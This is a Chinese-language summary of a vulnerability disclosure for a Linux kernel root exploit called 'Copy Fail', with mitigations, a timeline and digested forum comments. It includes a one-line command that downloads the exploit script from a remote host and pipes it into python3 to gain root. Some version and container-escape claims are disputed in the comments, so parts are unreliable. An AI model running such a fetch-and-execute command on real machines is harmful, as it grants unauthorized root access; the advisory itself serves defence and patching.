研究人员发现一个名为Copy Fail的高危Linux漏洞(CVE-2026-31431)，该漏洞存在于2017年以来所有主流Linux发行版中。仅需732字节的Python脚本即可实现容器逃逸并获取root权限，无需特定条件或内核偏移量。漏洞利用AF_ALG和splice()等机制，通过authencesn模块的逻辑缺陷实现提权，影响范围包括Ubuntu、RHEL等主流发行版。

标题：Copy Fail漏洞分析——732字节代码获取Root权限

来源：https://copy.fail/
发布时间：2026年4月29日

漏洞概述

CVE-2026-31431是一个影响Linux内核的高危漏洞，自2017年起存在于所有主流Linux发行版中。该漏洞通过authencesn模块的逻辑缺陷，结合AF_ALG和splice()系统调用，仅需732字节的Python脚本即可实现容器逃逸并获取root权限。

核心特点：
- 100%可靠性：无需竞态条件或内核版本适配。
- 跨发行版通用：同一脚本可在Ubuntu、Amazon Linux、RHEL、SUSE等主流发行版中直接利用。
- 隐蔽性强：通过页面缓存（page cache）写入4字节，不触发磁盘修改或日志记录。

受影响范围

所有2017年至漏洞修复前的Linux内核均受影响，包括：
- 多租户主机（共享开发机、跳板服务器等）
- Kubernetes/容器集群（节点间页面缓存共享导致跨租户攻击）
- CI/CD运行环境（如GitHub Actions自托管Runner）
- 云SaaS服务（执行用户代码的笔记本、无服务器函数等）

已验证的发行版：
| 发行版 | 内核版本 |
|----------------|----------------------------|
| Ubuntu 24.04 | 6.17.0-1007-aws |
| Amazon Linux | 6.18.8-9.213.amzn2023 |
| RHEL 14.3 | 6.12.0-124.45.1.el10_1 |

漏洞利用

PoC脚本（732字节）通过修改/usr/bin/su的页面缓存获取root权限：
```sh $ curl https://copy.fail/exp | python3 && su

id # 确认root权限

``` 注意：仅限授权测试，重启后修改失效。

缓解措施

1. 优先更新内核：安装包含补丁a664bf3d603d的版本。
2. 临时禁用模块：
   sh echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
3. 容器环境：通过seccomp禁止AF_ALG套接字创建。

常见问题

• 与其他漏洞的区别：
  • Dirty Pipe：依赖特定内核版本，而Copy Fail覆盖更广。
  • Dirty Cow：需竞态条件，Copy Fail为确定性漏洞。
• 检测：文件完整性工具（如AIDE）仅在页面缓存未清除时可检测，重启后痕迹消失。
• 远程利用：需结合本地代码执行漏洞（如Web RCE或SSH入侵）。

时间线

• 2026-03-23：报告至Linux内核安全团队
• 2026-04-01：补丁提交至主线
• 2026-04-29：公开披露

技术细节

漏洞源于2017年algif_aead的优化错误，导致页面缓存可被写入。完整分析见Xint博客。

标识符：
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
- 问题追踪：GitHub仓库

提示：多租户环境需紧急修补，单用户设备风险较低但仍建议更新。

总结评论内容如下：

1. 漏洞严重性认可

   • 多位用户认为该漏洞影响重大，可能导致从普通用户提升到root权限
   • "If this is verified, this is a very big deal. Root access on any shared computer" (corvad)
   • "This looks like an extraordinary find...I can see how that could wreak havoc really quickly" (skilled)

2. 补丁状态疑问

   • 用户普遍关注哪些内核版本已修复该漏洞
   • "Is this fixed in any stable release kernel yet?" (baggy_trough)
   • "For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+" (embedding-shape)

3. 漏洞验证情况

   • 有用户报告成功复现漏洞，也有用户表示已修复
   • "holy smokes it just rooted my just installed from ISO Ubuntu server" (w2seraph)
   • "It does not behave as described on EndeavorOS...I'm guessing this means it's already patched?" (TehCorwiz)

4. 文档质量问题

   • 部分用户指出文档存在错误和表述问题
   • "Page says it works on RHEL 14.3, which doesn't exist" (jzb)
   • "That's the most AI-written page ever made" (dgellow)

5. 技术细节讨论

   • 关于漏洞利用方式和限制条件的讨论
   • "I don't see anything supporting the claim it can escape a container" (progval)
   • "SUID binaries once again assisted a local privilege escalation attack" (charcircuit)

6. 安全建议

   • 用户提出多种缓解措施和安全建议
   • "This is why I compile my own kernel. I disable things I don't use" (themafia)
   • "Use extreme caution running arbitrary code on your machines" (maxtaco)

7. 漏洞披露争议

   • 关于漏洞披露过程和厂商响应的讨论
   • "vendors aren't treating this vulnerability as serious and it remains unpatched in many distros" (xeeeeeeeeeeenu)
   • "There is no update available for Ubuntu 24, PoC works" (dist-epoch)